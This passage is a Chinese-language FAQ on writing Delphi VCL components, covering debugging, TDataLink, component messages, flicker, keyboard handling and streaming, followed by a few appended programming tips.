2.5 在程序码编辑器中快速切换程序区段最简单的方法是什麽？

2.6 如何使我的构件在按下鼠标右键时出现快速功能选单？

2.7 为什麽构件在设计时刻会出现『I/O 103』的错误？

2.8 为什麽构件编辑器不会将构件属性的变动储存起来？

第三部分 在构件中使用其它构件

3.1 如何在构件中加入卷轴构件并让它在设计时刻能动作？

3.2 如何建立Windows95式样的卷轴？

第四部分 Bound Controls

4.1 哪里可以找得到有关TDataLink类的说明文档？

4.2 如何得知一个dataset中有几笔记录？

第五部分 VCL

5.1 使用整合环境调试时如何追踪检视VCL构件的程序码？

5.2 我的构件叁考到其它构件，如何得到叁考构件被消灭的讯息？

5.3 什麽是构件讯息？

5.4 我的构件得到输入焦点後仍不能接受键盘讯息，为什麽？

第六部分 其它信息

6.1 有哪些书介绍或讲解如何撰写构件？

6.2 有哪些Web站台可以取得撰写构件的信息？

第七部分 构件的储存与载入

7.1 如何将包含其它对象的对象一起存入DFM档？

7.2 如何得知构件是否正从数据流中读出？

7.3 如何确定构件的属性是否被正确地储存？

第八部分 工具程序

8.1 有没有Delphi版本的 YACC 及 LEX？

8.2 如何秀出JPEG格式图形档？

第九部分 基本编程技巧

9.1 如何建立不定数目的对象数组？

9.2 Delphi 2.0的 WinCrt 单元到哪去了？

9.3 自制构件时该从哪个类继承？

第十部分 进阶编程技巧

10.1 Delphi有与 C++ 一样的 I/O Stream 类吗？

10.2 如何取得列举型态变量的文字表示？

第十一部分 构件虚拟方法

11.1 如何得知构件的 window handle 是何时建立的？

11.2 如何得知是否表格上所有构件都已载入完成？

11.3 在哪里绘制构件最适合？

11.4 如何改变构件的窗口式样？

第十二部分 Windows API

12.1 构件卷动时闪动的很厉害，如何克服这种情况？

12.2 如何重新启动Windows？

12.3 如何快速大量地更改构件数据？

第十三部分 控制项边框

13.1 为什麽我的构件的 Ctl3D 属性设为 True 之後，它依然没有 3D 的边框呢？

13.2 如何实作 BorderStyle 属性？

第十四部分 控制项式样

14.1 当构件重绘时如何防止闪动的情况？

第十五部分 窗口消息

15.1 为什麽我的构件得不到方向键的讯息？

15.2 有没有与 Visual Basic『DoEvents』同样功能的函式？

--------------------------------------------------------------------------------

第一部分 简介
1.1 此份文档的目的为何？

这份文档的目的是为了解答有关撰写 Delphi构件时常见或文档上找不到的问题。我曾经花了一段很长的时间来了解探索 TDataLink 类，这让我觉得应该将撰写构件时常遇到的问题及经验心得写下来，分享给大家。不过我并不能保证写在这份文档里头的解答完全正确。如果你对其中的任何问题有更好的解决方法，或认为有什麽信息适合放在这份文档里的话，请告知作者。有任何错误或缺漏也欢迎指正。

除了再加上更多的问题及解答外，我试着再补充两个部分：

进阶编程师喜爱的工具：这也许跟构件设计没有直接的关系但至少它们跟 Delphi有关系。

值得叁考的文档刊物：由於空间的关系，这份文档不能放置太多的范例程序，因此叁考其它文档是十分需要的。这不是一份教材式的文档，我不会做太多条理式的说明，但会试着将最具有叁考价值的文献列出。
如果你有任何意见或建议，欢迎来信告诉我。

--------------------------------------------------------------------------------

第二部份 整合环境
2.1 在整合环境中如何找出构件所产生的问题？

我发现唯一能找出问题的方法只有：

在 Delphi 整合环境的 Tools|Options 对话框的 Library 页中将『Compile with debug info』选项打勾。
选 Component|Rebuild Library 重新编译构件库。
从 Turbo Debugger 中执行 Delphi。

选File|Change Dir移至包含构件程序码的目录下。
如果你的构件发生GPF时就可以检视堆栈然後得知到底是哪些发生问题了。

2.2 如何检视 Delphi 所产生的汇编码？

Glen Boyd 的回答：

开启登录编辑程序（REGEDIT.EXE），接着到『HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging』下新增一个字符串机码『EnableCPU』，将它的字符串值设为『1』。此後Delphi整合环境的View选单下就会多一个『CPU』选项，它会开启一个窗口来检视目前程序指令的内存及汇编。你可以在侦错时利用单步追踪或其它方法来观察它。

2.3 我可以在运行时刻动态建立构件，但在设计时刻就会发生错误。为什麽？

你的构件必须继承自TComponent类或其衍生类。
你的构件建构函式及灭构函式宣告必须看起来像这样：
constructor Create(AOwner: TComponent); override;

destructor Destroy; override ;

所有在published区段宣告的字段型态必须是ordinal、single、double、extended 、comp、currency、string、small set（译注：指元素编号不超过0..31这个范围的集合；平常的集合可容许的范围为0..255）、method pointer或class其中一种。如果你宣告了其它型态的字段，Delphi编译器并不会检查出错误。然而当你使用这个构件时依然会得到一个GPF。
如果你想让TMyComponent构件可以在设计时刻操作，注意下面的宣告会引发十分严重的问题：

type TComplex = record

RealPart: Double;

ComplexPart: Double;

end;

class TMyComponent = Class(TComponent)

private

F1: TComplex;

published

property P1: TComplex read F1 write F1;

end;

2.4 如何撰写一个无法放置到表格上的构件？

Ray Lischner 的回答：

如果你不想让使用者将构件拉曳至表格上的话，使用 RegisterNoIcon 及 RegisterClass 过程来注册构件。

2.5 在程序码编辑器中快速切换程序区段最简单的方法是什麽？

Ray Konopka 的回答：

在探索 VCL 源码时，强烈建议你最好熟悉程序码编辑器里的书签功能。使用方法很简单：Ctrl-Shift-N，N 是从 0 至 9 的数字，用来配置一个书签。此後就可以使用 Ctrl-N 来跳跃至书签处。（译注：使用这项功能真的可以节省你许多来回卷动程序及找寻函式的时间，别迟疑了，快学吧！）

2.6 如何使我的构件在按下鼠标右键时出现快速功能选单？

你必须要建立一个构件编辑器。构件编辑器决定了构件在设计时刻时对鼠标键的反应及动作，你可以为构件定义它自己的快速功能选单。

建立构件编辑器的步骤大致如下：

从 TComponentEditor 类继承一个新的类。
改写类的 GetVerbCount、GetVerb及 ExecuteVerb方法。
在 Register 过程中使用 RegisterComponentEditor 过程来注册此构件编辑器。
有关构件编辑器这个主题在『Developing Delphi Components』这本书中有详尽的解说及信息。

2.7 为什麽构件在设计时刻会出现『I/O 103』的错误？

你可能在构件中使用了Writeln这个过程。

2.8 为什麽构件编辑器不会将构件属性的变动储存起来？

我发现有时自制的构件编辑器不会将构件属性储存起来。设计时刻一切正常，但是储存起来再重新读入後就有问题了。

原因是你很可能忘了在构件编辑器中调用此方法：

Designer.Modified;

如此一来Delphi才会知道你的构件编辑器更改过属性值了。

--------------------------------------------------------------------------------

第三部分在构件中使用其它构件
3.1 如何在构件中加入卷轴构件并让它在设计时刻能动作？

你的卷轴构件类必须处理 CM_DESIGNHITTEST 构件讯息才行。

TMyScrollBar = class (TScrollBar)

procedure CMDesignHitTest

(var Message: TCMDesignHitTest); message CM_DESIGNHITTEST;

end;

procedure TMyScrollBar.CMDesignHitTest( var Message: TCMDesignHitTest);

begin

Message.Result := 1;

end;

你的构件必须以以下方法建立卷轴：

TMyScrollBar.Create(nil);

而不是

TMyScrollBar.Create(Self);

3.2 如何建立Windows95式样的卷轴？

你必须配置卷轴的页面大小。你可以用以下的程序码来做：

procedure SetPageSize(ScrollBar: TScrollBar; PageSize: Integer);

var

ScrollInfo: TScrollInfo;

begin

ScrollInfo.cbSize := Sizeof (ScrollInfo);

ScrollInfo.fMask := SIF_PAGE;

ScrollInfo.nPage := PageSize;

SetScrollInfo (ScrollBar.Handle, SB_CTL, ScrollInfo, True);

end;

要取得目前页面大小可用如下方法：

function GetpageSize (ScrollBar: TScrollBar): Integer;

var

ScrollInfo: TScrollInfo;

begin

if HandleAllocated then

begin

ScrollInfo.cbSize := SizeOf (ScrollInfo);

ScrollInfo.fMask := SIF_PAGE;

GetScrollInfo (ScrollBar.Handle, SB_CTL, ScrollInfo);

Result := ScrollInfo.nPage;

end;

end;

--------------------------------------------------------------------------------

第四部分 Bound Controls
4.1 哪里可以找得到有关 TDataLink 类的说明文档？

我可以大胆地说全世界有关 TDataLink 的说明文档只有一份，就在这儿：

属性 (Property) 介绍
property Active: Boolean（唯读）

当此 DataLink 连结至一个已开启的 DataSource 时会传回 True。当 Active 状态改变时会 触发ActiveChanged方法。

property ActiveRecord: Integer（可读写）

用来配置或取得 DataLink 缓冲区中目前所指向的记录代码，代码的范围是 0 .. BufferCount - 1。使用它来配置记录代码时必须小心不要超过这个范围，否则可能导致不可预期的错误。

property BufferCount: Integer（可读写）

DataLink 拥有一个数据缓冲区。而 BufferCount 属性即用来配置或取得缓冲区大小，缓冲区大小决定了一个dataset同时可以显视的数据记录笔数。对大部分的数据感知元件来说，BufferCount 的值是 1；但对 TDataGrid 来说，BufferCount 代表它的可视列数目。

property DataSet: TDataSet（唯读）

传回此 DataLink 所连结的 DataSet。其实就是 DataSource.DataSet。

property DataSource: TDataSource（可读写）

传回此DataLink所连结的DataSource。

property DataSourceFixed: Boolean（可读写）

这个属性可用来防止 DataSource 属性被更改。如果此属性设为 True，当我们试着改变 DataSource 属性时会引发一个例外。

property Editing: Boolean（唯读）

如果 DataLink 正处於编辑状态则传回 True。

property ReadOnly: Boolean（可读写）

配置 DataLink 是否为唯读状态。这个属性并不会影响所连结的 DataSet。在唯读状态下这个 DataLink 无法进入编辑状态。

property RecordCount: Integer（唯读）

传回DataSet的数据记录数目。

方法 (Method) 介绍
function Edit: Boolean;

让所连结的DataSet进入编辑状态。传回值： 成功传回 True ，失败传回 False

procedure UpdateRecord;

我们不直接调用这个方法，它是提供其它程序来调用的。这个方法只有配置一个旗帜然後调用 UpdateData 方法。

虚拟方法 ( Virtual Method )
要让 TDataLink 对象与构件沟通必须改写下列这些方法：

procedure ActiveChanged

当连结的 DataSource 开启状态改变时会调用此方法。使用 Active 属性可以得知目前是否为开启状态。

procedure CheckBrowseMode

数据库有任何改变之後都会先调用这个方法。

procedure DataSetChanged;

当下列任一事件发生时都会调用此方法：

移至DataSet的开头
移至DataSet的结尾
在DataSet中插入或新增数据
删除DataSet的数据
取消DataSet的编辑
更新记录
如果不想改写这个方法只要在其中调用：

RecordChanged(nil);

procedure DataSetScrolled(Distance: Integer)

每当目前记录变更时会调用此方法。Distance 叁数代表缓冲区欲卷动的行数。（其值范围皆在 -1 .. 1 之间）。使用 ActiveRecord 属性可以取得缓冲区中目前所指向的记录。我们无法强制让 DataLink 的缓冲区卷动。

procedure FocusControl(Field: TFieldRef)

与TField.FocusControl方法相同。

procedure EditingChanged

当 DataLink 的编辑状态改变时会调用此方法。使用 Editing 属性可以得知DataLink 是否 正处於编辑状态。

procedure LayoutChanged

当 DataSet 的 Layout 改变时会调用此方法（例如新增一个column）。

procedure RecordChanged(Field: TField)

当下列任一事件发生时都会调用此方法：

目前记录进入编辑状态
目前记录内容更动
procedure UpdateData

在一笔记录被更新以前会调用此方法。你可以调用 Abort 过程来防止数据库更新。

4.2 如何得知一个 dataset 中有几笔记录？

TDateSet 的 RecNo 属性可以传回数据记录的数目，但很不幸地它只适用於 dBase 及 Paradox 的数据表格。若想得知目前数据记录的编号，可以从 TDataLink 类衍生一个新的类，然後进行下 列步骤：

改写 DataSetScrolled 方法以取得目前记录是否被卷动。
改写 DataSetChanged 方法来确认目前记录是否跳至最前面或最後面了。
接着你可以将这个新类的对象连结到TDataSource对象上然後就可以随时得知目前的记录编号了。

--------------------------------------------------------------------------------

第五部分 VCL
5.1 使用整合环境调试时如何追踪检视 VCL构件的程序码？

将你想要追踪的 VCL 原始程序单元拷贝至存放专案的目录中并重新编译构件库，此後你就可以在那些 VCL单元中追踪检视程序码了。

5.2 我的构件叁考到其它构件，如何得到叁考构件被消灭的讯息？

Max Nilson 的回答：

TComponent 类提供了 Notification 方法。当一个构件被移除时我们可以利用这个方法得到消息以进行适当的反应。你可以叁考『Component Writer's Guide』内有关 Notification 及FreeNotification 这两个方法的说明。

当你的构件叁考到另一个构件，例如，你的构件中有一个 TDataSource 型态的属性。那 你必须改写此构件的 Notification 方法，在其中检查被移除的构件是否就是本身所叁考的构件。预设情况下，当构件被移除时，所有其它在同一个表格上的构件才会收到消息，如果叁考构件位於另一个表格上时，你的构件无法得知这件事情。Delphi 2.0 推出了TDataModule，叁考构件位於另一个表格上的机会大幅增加，所以你应该利用 FreeNotification 方法来确定当叁考构件移除时，你一定可以得到消息。

如果你不改写 Notification 方法来处理叁考构件被移除的讯息，这会让 Delphi整合环境陷入十分不稳定的状态。它可能不会立刻当掉，但你也不能再正常地继续其它工作了。

下面是一个范例，当你的构件叁考其它构件时，千万记得要做以下的处理：

TMyComponent = class (TComponent)

private

FDataSource: TDataSource;

procedure SetDataSource(Value: TDataSource);

protected

procedure Notification(AComponent: TComponent; Operation: TOperation); override;

published

property DataSource: TDataSource read FDataSource write SetDataSource;

end;

procedure TMyComponent.SetDataSource(Value: TDataSource);

begin

if Value <> FDataSource then

begin

FDataSource := Value;

// 告诉叁考构件说，当它被移除时记得通知我一声。

if FDataSource <> nil then FDataSource.FreeNotification(Self)

end;

end;

procedure TMyComponent.Notification(AComponent: TComponent; Operation:TOperation);

begin

inherited Notification(AComponent, Operation);

// 如果被移除的正是叁考构件，把FDataSource字段清除。

if (Operation = opRemove) and (AComponent = FDataSource) then

FDataSource := nil

end;

5.3 什麽是构件讯息？

构件讯息是什麽？它十分类似Windows的窗口消息，只有一点不同：构件讯息只适用於 VCL 构件；而窗口消息可以用在系统内所有具有 window handle 的控制项或窗口。如果你有一个具有 Font 属性的构件（例如TLabel构件），当我们更改它的 Font 属性时并没有送出窗口消息（译注：TLabel 构件不是窗口控制项，根本也没有窗口 Handle可以让我们传送窗口消息），但是控制项仍然知道字体改变了所以要重画自己，为什麽？因为我们有构件讯息。

构件讯息不可以由虚拟方法来处理，这可能是设计 VCL 时的考量，大概是因为不想让虚 拟方法表格（Virtual Method Table）过於庞大的原因。

『Secrets of Delphi 2.0』这本书对於所有的构件讯息有十分详尽的解说。

接下来我们列出一些比较常见的构件讯息及它们的作用。标示着『Notification Only』 的讯息表示送出这个讯息只是为了通知构件某件消息而己，并不传入任何叁数而且也不需要传回值。

CM_ACTIVATE (Notification Only)

当表格成为焦点窗口时会传给本身这个讯息。

CM_CTL3DCHANGED (Notification Only)

当控制项的Ctl3D属性更改时会传给本身这个讯息。

CM_DESIGNHITTEST 叁数：TCMDesignHitTest 传回值：0或1

在设计时刻当鼠标移到构件上头时，整合环境会送给此构件这个讯息。此讯息的目的用来决定构件在设计时刻是否要处理鼠标讯息。如果传回值是 1，整合环境就让构件自行处理鼠标讯息；若传回值是 0，则整合环境会帮你处理鼠标讯息。如果传回值永远是 1，那麽构件的快速功能选单则永远不会出现；如果构件不处理这个讯息或永远传回 0，那此构件在设计时刻将无法对鼠标讯息做任何反应。

CM_FONTCHANGED (Notification Only)

控制项的字体改变後送给本身此讯息。

CM_FONTCHANGE (Notification Only)

当控制项收到WM_FONTCHANGE窗口消息时会送给本身这个讯息。

CM_PARENTCTL3DCHANGED (Notification Only)

当构件父控制项的Ctl3D属性改变或配置新的父控制项时会收到此讯息。

CM_PARENTCOLORCHANGED (Notification Only)

当构件父控制项的 Color 属性改变或配置新的父控制项时会收到此讯息。

CM_PARENTFONTCHANGED (Notification Only)

当构件父控制项的Font属性改变或配置新的父控制项时会收到此讯息。

CM_PARENTSHOWHINTCHANGED (Notification Only)

当构件父控制项的ShowHint属性改变或配置新的父控制项时会收到此讯息。

CM_WININICHANGE 叁数：TWMWinIniChange 传回值：无

当控制项收到WM_WININICHANGE窗口消息时会送给本身这个讯息。

5.4 我的构件得到输入焦点後仍不能接受键盘讯息，为什麽？

如果你的构件有 DragMode 属性而且将它设成 dmAutomatic 时，很有可能让你的构件以为它正被拖放但实际上并没有的情况。在 Controls 单元中有一个区域变量 DragControl 指 向目前正被拖放的构件。你遇到的情况很可能就是明明没有拖放的动作但是DragControl 变量却指向你的构件。在 TWinControl 的 WndProc 方法中，当 DragControl 变量指向构件本身时，会忽略所有键盘讯息，这就是原因了！

--------------------------------------------------------------------------------

第六部分 其它信息
6.1 有哪些书介绍或讲解如何撰写构件？

有关撰写构件的『标准』叁考书籍：

『Developing Delphi Components』 作者：Ray Konopka 出版：Coriolis Group

下面这本书并不专注於构件写作，但里面提到许多构件撰写者不可不知的信息：

『Secrets of Delphi 2』 作者：Ray Lischner 出版：Waite Group

另外一本构件撰写的好书，它有许多在『Developing Delphi Components』里找不到的信息：

『Programming Delphi Custom Components』 作者：Fred Bulback 出版：M&T Books

6.2 有哪些Web站台可以取得撰写构件的信息？

全世界最大的 Delphi Web 站台『Delphi SuperPage』

（译注：亚洲地区使用者可以就近到位於日本的 Mirror Site ）

我在下面这些站台中找到许多构件的源码：

Temple of Delphi
Delphi Free Stuff
（译注：『Your Delphi Programming Resource』整理构件也十分用心！ ）
（译注：台湾地区目前维持最好的 Delphi 站台是『32 Bit Delphi 深度历险』及其 Mirror Site）
你也可以使用一些搜寻引擎来寻找有关 Delphi 的站台：

Yahoo
Alta Vista
（译注：Excite 搜寻引擎也别错过罗！）

--------------------------------------------------------------------------------

第七部分 构件的储存与载入
7.1 如何将包含其它对象的对象一起存入 DFM 档？

我试过许多方法，包括改写构件的 DefineProperties及 WriteComponents方法，但都还是失败了。所以我只能说要解决这个问题的话只有使用 Delphi 原本的方法一途。

将包含其它对象的对象一起储存起来的步骤大致如下：

确定你要储存的所有对象都是从 TComponent 类衍生下来的。
将所有需要储存的变量宣告在 published 区段。
在构件的 Register 过程中调用 RegisterComponents过程来注册所有你要储存起来的类。
每个拥有子控制项的类必须改写 GetChildren 方法以储存每个子控制项。（在 Delphi 1.0 中你必须改写 WriteComponents 方法并且为每个子控制项调用 WriteComponent方法）。

将对象载入的方法用了点小技巧。你必须改写构件的 GetChildOwner 及 GetChildParent 方法，否则 Delphi会将所有对象的拥有者都配置为构件所在的表格。（在Delphi 1.0 中你必须改写ReadState方法）。

7.2 如何得知构件是否正从数据流中读出？

当构件正从数据流中读出时，它的 ComponentState 属性会包含csLoading 旗帜。

constructor TMyClass.Create(AOwner: TComponent);

begin

if csLoading in AOwner.ComponentState then

begin ... end

else

begin ... end;

end;

7.3 如何确定构件的属性是否被正确地储存？

有许多很简单的方法可以验证属性是否被正确地储存在文件里：

在整合环境中用鼠标右键点选表格然後选择『View as Text』。然而万一 DFM 档 有任何错误的话，你将什麽也看不到。
开个 DOS 窗口，利用 Delphi 所附的『Convert』程序将 DFM 档转成文字格式。
Stefan Hoffmeister 指出复制或剪下构件後，到任何一个文书编辑器（如记事本）中贴上，你就可以看到此构件的文字表示。你甚至可以编辑这些文字表示後再将它贴回 Delphi整合环境的表格上。

--------------------------------------------------------------------------------

第八部分 Delphi 的工具
8.1 有没有Delphi版本的 YACC 及 LEX？

有。Albert Graef 这位仁兄写了 Turbo Pascal 版本的 YACC 及 LEX，也可以让 Delphi 使用。

你可以在 ftp://ftp.simtel.net/pub/simtelnet/msdos/turbopas 下取得 tply30a1.zip 及 tply30a2.zip 这两个文件，其中还包含这两个工具的原始程序哦！

8.2 如何秀出 JPEG 格式图形档？

Jacques Nomssi Nzali 将 Independent JPEG Group 所发展的免费 JPEG 库改写成 Pascal 版本。你可以从下取得：

PASJPG10.ZIP

Independent JPEG Group 的免费 JPEG 函式库 rev 6a 之 Pascal 版本 (1.0 版)。

--------------------------------------------------------------------------------

第九部分 基本编程技巧
9.1 如何建立不定数目的对象数组？

最简单的方法是使用 TList 类。我发现从 TList 衍生一个新类很有用处。接下来的程序码示范如何为一个特定型态撰写一个特别的 TList 类，并且加进基本的错误检查。

TListOfMyObject = class (TList)

private

function GetItems(Index: Ordinal): TMyObject;

public

property Items[Index: Ordinal]: TMyObject read GetItems;

procedure Add(AObject: TMyObject);

end;

function TListOfMyObject.GetItems (Index: Ordinal): TMyObject;

begin

if Index >= Count then

raise Exception.CreateFmt('Index(%d) outside range 1..%d', [Index, Count-1]);

Result := inherited Items[Index];

end;

procedure TListOfMyObject.Add (AObject: TmyObject);

begin

inherited Add(AObject);

end;

9.2 Delphi 2.0的 WinCrt单元到哪去了？

Delphi 2.0并没有 WinCrt单元。 先别伤心，这是因为我们可以用其它方法来取代它。在 Project|Options 的 Linker 页次中将『Generate console application』选项打开，你就可以像以前使用 WinCrt 单元一样地写程序了！

9.3 自制构件时该从哪个类继承？

VCL 中有一些『自订』类，而且有许多控制项是直接由这些『自订』类继承下来的。例如 TMemo 直接继承自 TCustomMemo类。这些自订类写好了所有该控制项所拥有的功能，只是没有将属性公开出来而己。大部分情形下，你应该从那些自订类继承而不是控制项类。

如果你要从头撰写自己的构件，那麽从 TCustomControl 类继承是个不错的主意。撰 写出来的构件会具有 Window Handle 且可以接受输入焦点。

另外根据你的需要也可以从这些类继承：

TGraphicControl：视觉构件，但是没有window handle，也不能接受输入焦点。
TComponent：不可视构件，你没办法在运行时刻看到它。
TWinControl：将已存在的窗口构件包装起来，如Windows标准控制项或VBX构件。

--------------------------------------------------------------------------------

第十部分 进阶编程技巧
10.1 Delphi 有与 C++ 一样的 I/O Stream 类吗？

答案可以说有也可以说没有。Delphi允许你建立自己的『文字档设备驱动过程』，它可以让你使用Delphi 标准的 I/O 函式库来处理非标准的 I/O，如处理 UNIX 格式的文字档或处理 Socket 所取得的数据。虽然没有像 C++ 的 I/O Stream 类那麽强大但应该也足够一般用途使用了。

建立『文字档设备驱动过程』的方法在『Object Pascal Language Guide』中有明述。此 外你也可以叁考 VCL 的 Printer 单元。

Delphi有 TStream 类，不过是设计用来将对象写入数据流的，不像 C++ 的 I/O Stream 类那麽具有弹性。

10.2 如何取得列举型态变量的文字表示？

使用 TypInfo单元中的 GetEnumName 函式：

type

TMyType = (Value1, Value2);

var

TypeValue: TMyType;

begin

Writeln (GetEnumName(TypeInfo(TMyType), Ord(TypeValue));

end;

TypInfo单元中还有许多与型别信息有关的函式。

『Secrets of Delphi 2.0』这本书有许多关於TypInfo单元的信息，值得叁考。

--------------------------------------------------------------------------------

第十一部分 构件虚拟方法
11.1 如何得知构件的window handle是何时建立的？

控制项的 window handle 是在 CreateWnd 方法中建立的。如果你想要在建立 window handle 後接着做某些动作那麽你应该改写 CreateWnd 方法：

procedure TMyClass.CreateWnd;

begin

// 现在还没取得 window handle

inherited CreateWnd;

// 调用 inherited 以取得 window handle

// 在这里撰写你想要执行的动作

end;

11.2 如何得知是否表格上所有构件都已载入完成？

Loaded 方法是在载入完成後接着被调用的。

procedure TMyClass.Loaded;

begin

inherited Loaded;

// 将ComponentState中的 csLoading 状态清除

// 在这里撰写你想要执行的动作

end;

11.3 在哪里绘制构件最适合？

你应该拦截 WM_PAINT 窗口消息然後利用 Canvas 来绘制构件。然而 VCL 己经帮你拦 截好了，你只须改写构件的 Paint 方法即可。

procedure TMyClass.Paint;

begin

// 如果你的构件是己存在的构件继承下来的，那麽必须在这里调用 inherited Paint

inherited Paint ;

// 在这里撰写你想要执行的动作

end;

11.4 如何改变构件的窗口式样？

CreateParams方法用来配置构件的窗口式样及其它必须传递至 CreateWindowEx API 的 叁数。要改变构件的窗口式样，例如增加或拿掉构件的垂直卷轴只要改写 CreateParams 方法：

procedure TMyControl.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

if IWantAScrollBar then

Params.Style := Params.Style or WS_VSCROLL

else

Params.Style := Params.Style and not WS_VSCROLL;

end;

--------------------------------------------------------------------------------

第十二部分 Windows API
12.1 构件卷动时闪动的很厉害，如何克服这种情况？

要卷动构件本身最简单的方法就是改变它的座标然後重画构件，但是这方法会导致构件闪动的很厉害。

比较好的方法是调用 ScrollWindow 或 ScrollWindowEx Windows API。

闪动的另一个原因可能来自於 WM_PAINT 及 WM_ERASEBKGND。你可以试着拦截 WM_ERASEBKGND 及 WM_PAINT 讯息然後自己处理绘图动作，包括绘制背景的动作，或许可以改善闪动的情况。

12.2 如何重新启动Windows？

使用 ExitWindowsEx Windows API。

12.3 如何快速大量地更改构件数据？

在进行大量数据更改前後，利用 WM_SETREDRAW 讯息来控制你的构件暂时不要重画，这不但可以使数据配置速度增快也防止构件闪烁的情况。

--------------------------------------------------------------------------------

第十三部分 控制项边框
13.1 为什麽我的构件的 Ctl3D 属性设为 True 之後，它依然没有 3D 的边框呢？

如果 ControlStyle 属性内没有包含 csFramed 旗帜那麽 Ctl3D 属性就会没有作用。在构件 的建构函式内加上：

ControlStyle := ControlStyle + [csFramed];

13.2 如何实作 BorderStyle 属性？

在控制项配置有没有边框之後要重新建立 window handle：

FBorderStyle: TBorderStyle;

procedure SetBorderStyle(Style: TBorderStyle);

property BorderStyle: TBorderStyle read FBorderStyle write SetBorderStyle;

procedure CreateParams(var Params: TCreateParams); override;

procedure TMyControl.CreateParams(var Params: TCreateParams);

begin

inherited CreateParams(Params);

if FBorderStyle = bsSingle then

Params.Style := Params.Style or WS_BORDER

else

Params.Style := Params.Style and not WS_BORDER;

end;

procedure TMyControl.SetBorderStyle(Style: TBorderStyle);

begin

if Style <> FBorderStyle then

begin

FBorderStyle := Style;

// 重新建立window handle

RecreateWnd;

end;

end;

--------------------------------------------------------------------------------

第十四部分 控制项式样
14.1 当构件重绘时如何防止闪动的情况？

如果构件的 ComponentStyle 属性没有包含 csOpaque 旗帜的话，调用 Invalidate方法时 会导致构件的背景先被擦掉再重绘。如果你在 Paint 方法中绘制背景，那你应该在构件的建构函式中加上：

ComponentStyle := ComponentStyle + [csOpaque];

Max Nilson的回答：

引起闪动另一个原因可能是 WM_ERASEBKGND 讯息的处理。当 VCL 控制项收到一个 WM_ERASEBKGND 讯息时，它会将构件的背景擦掉然後配置成预设的颜色。如果你的元件衍生自 TWinControl，而且构件的颜色与背景颜色不同（例如图形），每次重画以前都会将构件先清成背景颜色再重绘，这就是造成闪动的原因了！

解决的方法不难，你必须告诉 Windows 你要自行解决『所有的』绘图动作。不过有一个前提是，你一定要确定你的 Paint 方法将整个构件都画过，如果你漏了什麽地方忘了画，那个部分的数据会由乱数组成，你能想见这情况吗？使用这个方法可以加速你的构件绘制动作（稍微快一点点），因为少了一个填满背景颜色的动作。

type

TMyComponent = class (TWinControl)

...

protected

procedure WMEraseBkgnd(var Message: TWMEraseBkgnd); message WM_ERASEBKGND;

...

end;

procedure TBMyComponent.WMEraseBkgnd(var Message: TWMEraseBkgnd);

begin

// 不要重绘背景，这会造成构件闪动

Message.Result := 0

end;

--------------------------------------------------------------------------------

第十五部分 窗口消息
15.1 为什麽我的构件得不到方向键的讯息？

你必须拦截 WM_GETDLGCODE 才能处理方向键的讯息，在 WM_GETDLGCODE 的讯息处理 者中传回 DLGC_WANTARROWS。如果你不这样做，那方向键的功用就只能用来移动窗口焦点而己。

Max Nilson 的回答：

想要你的构件能够处理方向键，你必须要拦截 CM_WANTSPECIALKEY 构件讯息。 CM_WANTSPECIALKEY 构件讯息提供你比拦截 WM_GETDLGCODE 窗口消息更容易且灵活的判断方法来决定是否需要某些特殊键的讯息。当控制项收到任何一个特殊键时就会送出CM_WANTSPECIALKEY 构件讯息给控制项。

特殊键包括：VK_TAB、VK_LEFT、VK_RIGHT、VK_UP、VK_DOWN、VK_RETURN、VK_EXECUTE 、VK_ESCAPE 及 VK_CANCEL。如果讯息传回值是非零值，这个键就会被送至 KeyPress 方法以供处理，否则这个键的讯息会被送至构件的父控制项，以预设方式来处理。

一个简单的范例：

type

TMyComponent = class (TWinControl)

...

protected

procedure CMWantSpecialKey(var Message: TCMWantSpecialKey); message CM_WANTSPECIALKEY;

...

end;

procedure TMyComponent.CMWantSpecialKey(var Message: TCMWantSpecialKey); begin

inherited;

// 我们只想处理向左方向键，其它的特殊键都给 Windows 处理

if Message.CharCode = VK_LEFT then

Message.Result := 1;

end;

CM_WANTSPECIALKEY 构件讯息比 WM_GETDLGCODE 讯息更具有弹性的地方在这儿。我们甚至可以根据是按下的是哪个特殊键才决定是否处理这个键。例如，你的控制项有三张图像，你可以让使用者利用左右方向键来回检视它们，如果翻到最後一张图像再按向右键时，焦点就让它离开构件，剩下的全部都让 Delphi 来处理。

15.2 有没有与 Visual Basic『DoEvents』同样功能的函式？

有。Application.ProcessMessages方法。


访问保护属性

    众所周知，delphi的对象有private、protected和public三个级
别的访问控制。而delphi有一个奇怪的规则，就是在同一个unit里的
对象可以互相访问对方的protected级别属性！

    利用这个特性，我们可以轻松访问任意对象的protected级别属
性。虽然这样不是很符合面向对象编程的封装的思想，但有时的确是
非常有用的。

    比如在使用TDBGrid时，我们对如何获得其Row和Col非常头疼，
其实在TDBGrid中，Row和Col都是protected级别的属性，我们只要在
需要使用这两个属性的unit的interface里声明

    TFakeGrid = class(TDBGrid);

    然后就可以使用TFakeGrid(ADBGrid).Row和TFakeGrid(ADBGrid).Col
轻松访问了，这个规则对protected里的方法同样适用。


限制设计者加入某类构件的数目

    一般情况下，程序设计者可以在Form中加入不限数量的构件，但某些构件只需要或只能加入一个，例如前例“防止重复执行”的构件就属于这种情况，此时可以在构件的源代码中加入一个静态变量来记录已建立的个数，这个变量在构件的Create方法中被递增，而在构件的Destroy方法中被递减，而在Create方法中若发现数量已超过限制即可提出一个异常来中止构件的构造（在类的构造函数中出现异常将自动调用该类的析构函数）。
    下例代码段示例如果只允许设计者在Project中加入一个某类构件：

unit MyTest

interface

uses
Windows, Classes, SysUtils, Forms;

type
TMyTest = class(TComponent)
public
constructor Create(AOwner:TComponent);
override;
destructor Destroy; override;
end;

procedure Register;

implementation

var
SelfCounts: Integer = 0; // 记录建立个数的静态变量

procedure Register;
begin
RegisterComponents('Test', [TMyTest]);
end;

constructor TMyTest.Create(AOwner:TComponent);
begin
inherited Create(AOwner);
Inc(SelfCounts); // 计数器递增
if SelfCounts>1 then begin
// 当超过限制时提出一个异常
raise Exception.Create('最多只能建立一个这样的构件！');
end;
end;

destructor TSWOnlyOne.Destroy;

begin
Dec(SelfCounts); // 计数器递减
inherited Destroy;
end;

end.


怎样制作自己的构件

    制作构件并不是三言两语就能说清楚的，下面用一个简单的实例来说明。这个新控件从TLabel派生而来，是一个增强型的TLabel控件，当用户单击这个控件时，就会执行一个特殊的操作。该控件增加了一个属性URLString，其值表示要执行的操作。例如，当该属性值为“http://seawave.yeah.net”这个字符串时，如果用户单击该字符串，则会调用系统默认的浏览器来访问我的个人主页。

